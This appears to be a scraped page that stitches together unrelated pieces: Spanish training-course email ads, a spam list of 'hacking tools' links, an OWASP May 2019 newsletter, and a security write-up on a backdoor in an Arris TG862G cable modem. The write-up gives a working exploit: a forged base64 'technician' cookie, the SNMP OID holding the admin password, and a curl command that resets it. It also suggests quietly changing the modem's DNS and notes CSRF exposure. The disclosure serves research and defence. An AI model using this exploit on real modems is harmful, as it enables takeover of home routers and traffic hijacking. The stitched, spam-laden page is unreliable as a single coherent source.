WhatsApp, Facebook e Instagram

Webinar en Vivo:
Ventas por redes sociales: WhatsApp, Facebook e Instagram

Cursos en línea - Webinar Interactivo - Curso de 9 Hrs.
Whatsapp: 12 de Septiembre
Facebook: 19 de Septiembre
Instagram: 26 de Septiembre

El participante aprenderá a utilizar los recursos de cada una de estas plataformas digitales con el principal objetivo de convertir ventas a través de internet.

Objetivos Específicos:

- Conocerá los aspectos clave para cerrar ventas por WhatsApp Business y las funciones que esta aplicación ha desarrollado para convertir prospectos en clientes.
- Aprenderá sobre las campañas de performance en Facebook Ads con el objetivo de enviar flujo de mensajes al WhatsApp del negocio.
- Conocerá los aspectos claves para generar una marca personal que aporte valor en Instagram.
 
Para mayor información, responder sobre este correo con la palabra Sociales + los siguientes datos:

NOMBRE:
TELÉFONO:
EMPRSA:
CORREO ALTERNO:

Para información inmediata llamar al:
(+52) 55 15 54 66 30 - (+52) 55 30 16 70 85
O puede enviarnos un Whatsapp

Innova Learn México - innovalearn. mx - Mérida, Yucatán, México

Secretaría de trabajo y previsión social

El cumplimiento de la normatividad legal en materia de condiciones generales, de seguridad e higiene y de capacitación de
la STPS, tiene por objetivo asegurar que las empresas, sin importar su dimensión o giro, cuenten con las medidas apropiadas
para asegurar una adecuada productividad a través de ambientes seguros y propicios para el desempeño
apropiado del recurso más valioso de la empresa: SU PERSONAL.

Curso: Cómo Cubrir la Normatividad de la STPS para Evitar Multas
-Condiciones Generales del Trabajo en el 2020-
Horario: de 10:00 a 13:00 y 15:00 a 18:00 hrs.
Fecha: 18 de spetiembre

Entre los beneficios que obtendrá con esta importante actualización se encuentran:

-Reducción de accidentes.
-Concienciación del personal en general.
-Aprovechamiento y conservación de mobiliario y equipo.
-Mejor clima laboral.
-Incremento de la productividad.
-Cumplimiento de la obligatoriedad legal.
-Evitar multas y sanciones económicas.

Centro de Atención Telefónica: 01 800 212 9393

Si el tema es de su interés, Responda este correo con el asunto: Multas, con los siguientes datos:

Nombre:
Correo:
Teléfono:
 
Si lo que usted desea dejar de recibir este tipo de mensajes responder este correo con el asunto BAJA.

SigPloit SS7 Tool

Related links


Arris Cable Modem Backdoor - I'm A Technician, Trust Me.

Vendor backdoors are the worst. Sloppy coding leading to unintentional "bugdoors" is somewhat defendable, but flat out backdoors are always unacceptable. Todays example is brought to you by Arris. A great quote from their site -
Subscribers want their internet to be two things, fast and worry free. Cable operators deploy services to meet the speed expectations, and trust ARRIS to provide the cable modems that deliver the reliability.
Nothing spells "trust" and "worry free" like a backdoor account, right?! Anyways, the following was observed on an Arris TG862G cable modem running the following firmware version -TS070563_092012_MODEL_862_GW

After successfully providing the correct login and password to the modems administration page, the following cookie is set (client side):
Cookie: credential=eyJ2YWxpZCI6dHJ1ZSwidGVjaG5pY2lhbiI6ZmFsc2UsImNyZWRlbnRpYWwiOiJZV1J0YVc0NmNHRnpjM2R2Y21RPSIsInByaW1hcnlPbmx5IjpmYWxzZSwiYWNjZXNzIjp7IkFMTCI6dHJ1ZX0sIm5hbWUiOiJhZG1pbiJ9
 All requests must have a valid "credential" cookie set (this was not the case in a previous FW release - whoops) if the cookie is not present the modem will reply with "PLEASE LOGIN". The cookie value is just a base64 encoded json object:
{"valid":true,"technician":false,"credential":"YWRtaW46cGFzc3dvcmQ=","primaryOnly":false,"access":{"ALL":true},"name":"admin"}
And after base64 decoding the "credential" value we get:
{"valid":true,"technician":false,"credential":"admin:password","primaryOnly":false,"access":{"ALL":true},"name":"admin"}
Sweet, the device is sending your credentials on every authenticated request (without HTTPS), essentially they have created basic-auth 2.0 - As the kids say "YOLO". The part that stuck out to me is the "technician" value that is set to "false" - swapping it to "true" didn't do anything exciting, but after messing around a bit I found that the following worked wonderfully:
Cookie: credential=eyJjcmVkZW50aWFsIjoiZEdWamFHNXBZMmxoYmpvPSJ9
Which decodes to the following:
{"credential":"dGVjaG5pY2lhbjo="}
And finally:
{"credential":"technician:"} 
Awesome, the username is "technician" and the password is empty. Trying to log into the interface using these credentials does not work :(




That is fairly odd. I can't think of a reasonable reason for a hidden account that is unable to log into the UI. So what exactly can you do with this account? Well, the web application is basically a html/js wrapper to some CGI that gets/sets SNMP values on the modem. It is worth noting that on previous FW revisions the CGI calls did NOT require any authentication and could be called without providing a valid "credential" cookie. That bug was killed a few years ago at HOPE 9.

Now we can resurrect the ability to set/get SNMP values by setting our "technician" account:


That's neat, but we would much rather be using the a fancy "web 2.0" UI that a normal user is accustomed to, instead of manually setting SNMP values like some sort of neckbearded unix admin. Taking a look at the password change functionality appeared to be a dead end as it requires the previous password to set a new one:


Surprisingly the application does check the value of the old password too! Back to digging around the following was observed in the "mib.js" file:
SysCfg.AdminPassword= new Scalar("AdminPassword","1.3.6.1.4.1.4115.1.20.1.1.5.1",4);
Appears that the OID "1.3.6.1.4.1.4115.1.20.1.1.5.1" holds the value of the "Admin" password! Using the "technician" account to get/walk this OID comes up with nothing:
HTTP/1.1 200 OK
Date: Tue, 23 Sep 2014 19:58:40 GMT
Server: lighttpd/1.4.26-devel-5842M
Content-Length: 55
{
"1.3.6.1.4.1.4115.1.20.1.1.5.1.0":"",
"1":"Finish"
}
What about setting a new value? Surely that will not work....



That response looks hopeful. We can now log in with the password "krad_password" for the "admin" user:


This functionality can be wrapped up in the following curl command:
curl -isk -X 'GET' -b 'credential=eyJjcmVkZW50aWFsIjoiZEdWamFHNXBZMmxoYmpvPSJ9' 'http://192.168.100.1:8080/snmpSet?oid=1.3.6.1.4.1.4115.1.20.1.1.5.1.0=krad_password;4;'
Of course if you change the password you wouldn't be very sneaky, a better approach would be re-configuring the modems DNS settings perhaps? It's also worth noting that the SNMP set/get is CSRF'able if you were to catch a user who had recently logged into their modem.

The real pain here is that Arris keeps their FW locked up tightly and only allows Cable operators to download revisions/fixes/updates, so you are at the mercy of your Cable operator, even if Arris decides that its worth the time and effort to patch this bug backdoor - you as the end user CANNOT update your device because the interface doesn't provide that functionality to you! Next level engineering.


Related links

  1. Pentest Automation Tools
  2. Hack App
  3. Hacking Tools For Windows Free Download
  4. Hacker Techniques Tools And Incident Handling
  5. Pentest Tools Bluekeep
  6. Kik Hack Tools
  7. Pentest Tools For Windows
  8. Hacking Tools For Windows Free Download
  9. Hacker Tools List
  10. Game Hacking
  11. Hacking Tools 2019
  12. Pentest Tools For Windows
  13. Pentest Tools For Windows
  14. Hacker Tools Apk Download
  15. Pentest Tools For Mac
  16. Android Hack Tools Github
  17. Pentest Tools Url Fuzzer
  18. Hacker Tools Hardware
  19. Best Hacking Tools 2019
  20. Pentest Automation Tools
  21. Pentest Reporting Tools
  22. Usb Pentest Tools
  23. Pentest Tools Website
  24. Hack Apps
  25. Hack Tools For Windows
  26. Hacking Tools Pc
  27. Hacking Tools Name
  28. New Hack Tools
  29. Hacker Tool Kit
  30. Pentest Tools Website
  31. Hacking Tools For Beginners
  32. Hack Tools Online
  33. What Is Hacking Tools
  34. Hacking Tools Usb
  35. Free Pentest Tools For Windows
  36. What Are Hacking Tools
  37. Pentest Tools Url Fuzzer
  38. What Are Hacking Tools
  39. Hacking Tools Windows
  40. Hacking Tools Mac
  41. Pentest Tools For Mac
  42. Pentest Tools Url Fuzzer
  43. Android Hack Tools Github
  44. Hacking Tools For Windows
  45. Pentest Tools Free
  46. Pentest Tools Website Vulnerability
  47. Pentest Tools Kali Linux
  48. Pentest Automation Tools
  49. Pentest Tools Open Source
  50. Hacking Tools For Windows 7
  51. Nsa Hack Tools Download
  52. Pentest Tools
  53. Github Hacking Tools
  54. Hack Tools
  55. Hacking Tools
  56. Hacker Tools Mac
  57. Nsa Hacker Tools

OWASP May Connector 2019

OWASP
Connector
May 2019

COMMUNICATIONS


Letter from the Vice Chairman:

Dear OWASP Community,

Since last month the foundation has been busy working towards enabling our project leaders and community members to utilize funds to work on nurturing and developing projects. So far there has been huge uptake on this initiative. It's great to see so many people passionate about collaborating at project summits. 
 
Our Global AppSec Tel-Aviv is nearly upon us, for members, there is an extra incentive for attending this conference, in the form of a significant discount. This and the sandy beaches and beautiful scenery, not to mention the great speakers and trainers we have lined up, is a great reason to attend. If you have not done so we would encourage you to attend this great conference - https://telaviv.appsecglobal.org.
 
One of the key things I've noticed in my Board of Director tenure is the passion our community emits, sometimes this passion aids in growing the foundation, but sometimes it also forces us to take a step back and look at how we do things within the foundation. With Mike, our ED and staff we have seen a lot of good change from an operations perspective, with more in the pipeline. Mike's appointment has allowed the Board of Directors to take a step back from operations and enable us to work on more strategic goals. To this end at a recent Board meeting we discussed each Board member taking up one of the following strategic goals, as set out at the start of the year:
 
1.Marketing the OWASP brand 
2.Membership benefits
3.Developer outreach

  • Improve benefits 
  • Decrease the possibility of OWASP losing relevance
  • Reaching out to management and Risk levels
  • Increase involvement in new tech/ ways of doing things – dev ops
 
4.Project focus 
  • Get Universities involved
  • Practicum sponsored ideas
  • Internships 

 
5.Improve finances
6.Improve OWAP/ Board of Directors Perception
7.Process improvement
8. Get consistent ED
9.Community empowerment
 
I would encourage the community to come forward if you have any ideas on the above and are happy to work with one of the 7 Board of Directors and community members on one of these initiatives. 
 
Thanks and best wishes, 
Owen Pendlebury
Vice Chair

OWASP FOUNDATION UPDATE FROM INTERIM EXECUTIVE DIRECTOR:

OWASP Foundation welcomes aboard Emily Berman as Events Director. Emily was most recently with the Scrum Alliance where she planned high-profile functions for upwards of 2,000 guests. Emily brings a fresh approach to events planning and her 12 years of experience planning and organizing large-scale events worldwide well in advance will greatly benefit our Global AppSecs.
Did you Register yet? 
Global AppSec DC September 9-13, 2019
submit to the Call for Papers and Call for Training
Check out Sponsorship Opportunities while they are still available.
Save the Date for Global AppSec Amsterdam Sept 23-27, 2019 
Sponsorship Opportunities are available

EVENTS 

You may also be interested in one of our other affiliated events:

REGIONAL AND LOCAL EVENTS

Event DateLocation
Latam Tour 2019 Starting April 4, 2019 Latin America
OWASP Portland Training Day September 25, 2019 Portland, OR
OWASP Italy Day Udine 2019 September 27,2019 Udine, Italy
OWASP Portland Day October 16,2019 Wroclaw, Poland
LASCON X October 24-25,2019 Austin, TX
OWASP AppSec Day 2019 Oct 30 - Nov 1, 2019 Melbourne, Australia

PARTNER AND PROMOTIONAL EVENTS
Event Date Location
Open Security Summit June 3-7,2019 Woburn Forest Center Parcs, Bedfordshire
Hack in Paris 2019 June 16-20, 2019 Paris
Cyber Security and Cloud Expo Europe June 19-20, 2019 Amsterdam
IoT Tech Expo Europe June 19-20, 2019 Amsterdam
BlackHat USA 2019 August 3-8,2019 Las Vegas, Nevada
DefCon 27 August 8-11,2019 Las Vegas, Nevada
it-sa-IT Security Expo and Congress October 8-10, 2019 Germany

PROJECTS

We have had the following projects added to the OWASP inventory.  Please congratulate these leaders and check out the work they have done:

Project Type Leader(s)
Risk Assessment Framework Documentation Ade Yoseman Putra, Rejah Rehim
QRLJacker Tool Mohammed Baset
Container Security Verification Standard Documentation Sven Vetsch
Find Security Bugs Code Philippe Arteau
Vulnerable Web Application Code Fatih Çelik
D4N155 Tool Julio Pedro de Lira Neto
Jupiter Tool Matt Stanchek
Top 10 Card Game Documentation Dennis Johnson
Samurai WTF Code Kevin Johnson
DevSecOps Maturity Model Documentation Timo Pagel

 


Also, we will have the following projects presenting at the Project Showcase Global AppSec Tel Aviv:

Final Schedule
Wednesday, May 29th Thursday, May 30th
Time Project Presenter(s) Confirmed Time Project Presenter(s) Confirmed
10:​4​5 a.m. Glue Tool Omer Levi Hevroni Yes 10:​30 ​ a.m. API Security Erez Yalon, Inon Shkedy Yes
  ​7    
               
11:5​5​ a.m. IoT & Embedded AppSec Aaron Guzman Yes 11:​50​ a.m. Mod Security Core Rule Set Tin Zaw Yes
        12:​25 ​p.m. Automated Threats Tin Zaw Yes
12:​30 ​p.m. Lunch Break   12:​55​ p.m. Lunch Break  
2:​35​ p.m. SAMM John DiLeo Yes        
​3:10​ p.m. Application Security Curriculum John DiLeo Yes ​3:10 p.m. ​Damned Vulnerable Serveless Application​ ​Tal Melamed​ ​Yes​
 

Finally, if you are able to help participate in the Project Reviews at the Conference, please send me an email at harold.blankenship@owasp.com.  We have a large line-up of projects to review this time around:

Project To Level Leader(s)
Snakes and Ladders Flagship Katy Anton, Colin Watson
Cheat Sheet Series Flagship Dominique Righetto, Jim Manico
Mobile Security Testing Guide Flagship Jeroen Willemsen, Sven Schleier
Amass Lab Jeff Foley
Attack Surface Detector Lab Ken Prole
SecureTea Lab Ade Yoseman Putra, Bambang Rahmadi K.P, Rejah Rehim.A.A
Serverless Goat Lab Ory Segal

Google Summer of Code Update:
We were allocated 13 students this year!  The current timeline is as follows:
Google Season of Docs:
We were accepted into the Google Season of Docs.  There will be a single technical writer resource.  The current timeline is as follows:

COMMUNITY

New OWASP Chapters
Riyadh, Saudi Arabia
Guayaquil, Equador
Lome, Togo
Natal, Brazil
Nashua, New Hampshire
Gwalior, India
Louisville, Kentucky
Nainital, India
Liverpool, United Kingdom
Syracuse, New York

MEMBERSHIP

 
We would like to welcome the following Premier and Contributor Corporate Members.

Premier Corporate Members

Contributor Corporate Members
Join us
Donate
Our mailing address is:
OWASP Foundation 
1200-C Agora Drive, # 232
Bel Air, MD 21014  
Contact Us
Unsubscribe






This email was sent to *|EMAIL|*
why did I get this?    unsubscribe from this list    update subscription preferences
*|LIST:ADDRESSLINE|*